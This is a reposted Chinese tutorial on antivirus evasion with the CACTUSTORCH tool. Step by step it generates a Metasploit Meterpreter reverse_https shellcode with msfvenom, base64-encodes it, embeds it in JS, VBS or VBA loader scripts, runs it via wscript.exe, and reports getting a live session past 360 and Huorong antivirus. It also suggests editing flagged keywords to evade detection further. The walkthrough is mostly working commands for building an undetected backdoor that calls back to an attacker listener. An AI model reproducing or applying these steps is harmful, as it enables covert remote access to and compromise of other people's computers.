转载:https://mp.weixin.qq.com/s/g0CYvFMsrV7bHIfTnSUJBw
免杀能力一览表
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
一、CACTUSTORCH介绍
在2017年4月由James Forshaw开源了一个工具DotNetToJScript,能够利用JS或者Vbs等脚本加载.Net程序。在DotNetToJScript发布后,有几款工具根据其原理开发出来,比如CACTUSTORCH、SharpShooter、StarFighters等等。
而CACTUSTORCH和SharpShooter都同一个组织开发,2017年发布,主要使用vbs或js执行C#的二进制payload,提供多种方式绕过杀软,支持js、vbs、vbe、vba、hta等多种格式,还提供了支持Cobalt Strike的cna文件。
二、安装CACTUSTORCH
CACTUSTORCH安装和使用都比较简单。
1、从Github上clone到本地
git clone https://github.com/mdsecactivebreach/CACTUSTORCH
2、ok了,纯绿色版,就这么简单。
三、CACTUSTORCH说明
CACTUSTORCH生成的脚本可以用于执行C#的二进制文件,CACTUSTORCH在免杀方面有以下几个特性:
1、在payload中不使用Kernel32 API声明,避免被杀软检测
2、可以在C#二进制内机械能混淆
3、可任意指定目标二进制程序进行注入
4、允许指定任意shellcode
5、不产生PowerShell.exe
6、不需要Powershell
7、不需要office
8、不调用WScript.Shell
9、不需要分段,因为完整的无阶段shellcode可以包含在传送的payload内
10、没有静态父对子进行生成,用户可以更改wscript.exe生成的内容
四、利用CACTUSTORCH生成后门
以生成js脚本为例进行测试。
1、首先要选择一个待注入的exe文件,默认是rundll32.exe, 你也可以使用notepad.exe, calc.exe等,在CACTUSTORCH.js文件中直接修改就行。
2、使用 Cobalt Strike或Metasploit生成一个32位的shellcode
msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o payload.bin
3、执行下面命令cat payload.bin | base64 -w 0
4、把生成的base64编码后的代码复制到CACTUSTORCH.js文件中的var code =。
如果是vbs文件,则需要修改CACTUSTORCH.vbs文件中Dim code: code =后面的代码。
如果是生成VBA代码,还需要使用splitvba.py来对代码进行分割,详细可查阅官方说明https://github.com/mdsecactivebreach/CACTUSTORCH。
5、在测试机中执行wscript.exe CACTUSTORCH.js
msf中监听windows/meterpreter/reverse_https可正常上线
6、打开杀软进行测试
360和火绒都免杀,都可正常上线
7、测试了一下vbs,也可360和火绒免杀上线
又测试了一下vba,免杀效果也差不多。
五、CACTUSTORCH小结
因为CACTUSTORCH也是基于DotNetToJScript来实现免杀的工具,同类工具里知名度比较高,所以被查杀的有些惨不忍睹,不过能直接过360和火绒也算一个小亮点了。杀软查杀其脚本主要是里面很多代码关键字都被列入了特征字符,感兴趣的可以尝试修改其脚本代码做二次免杀。
六、参考资料
DotNetToJScript 复活之路:https://evi1cg.me/archives/AMSI_bypass.html
使用CACTUSTORCH 生成Payload:http://4hou.win/wordpress/?p=4727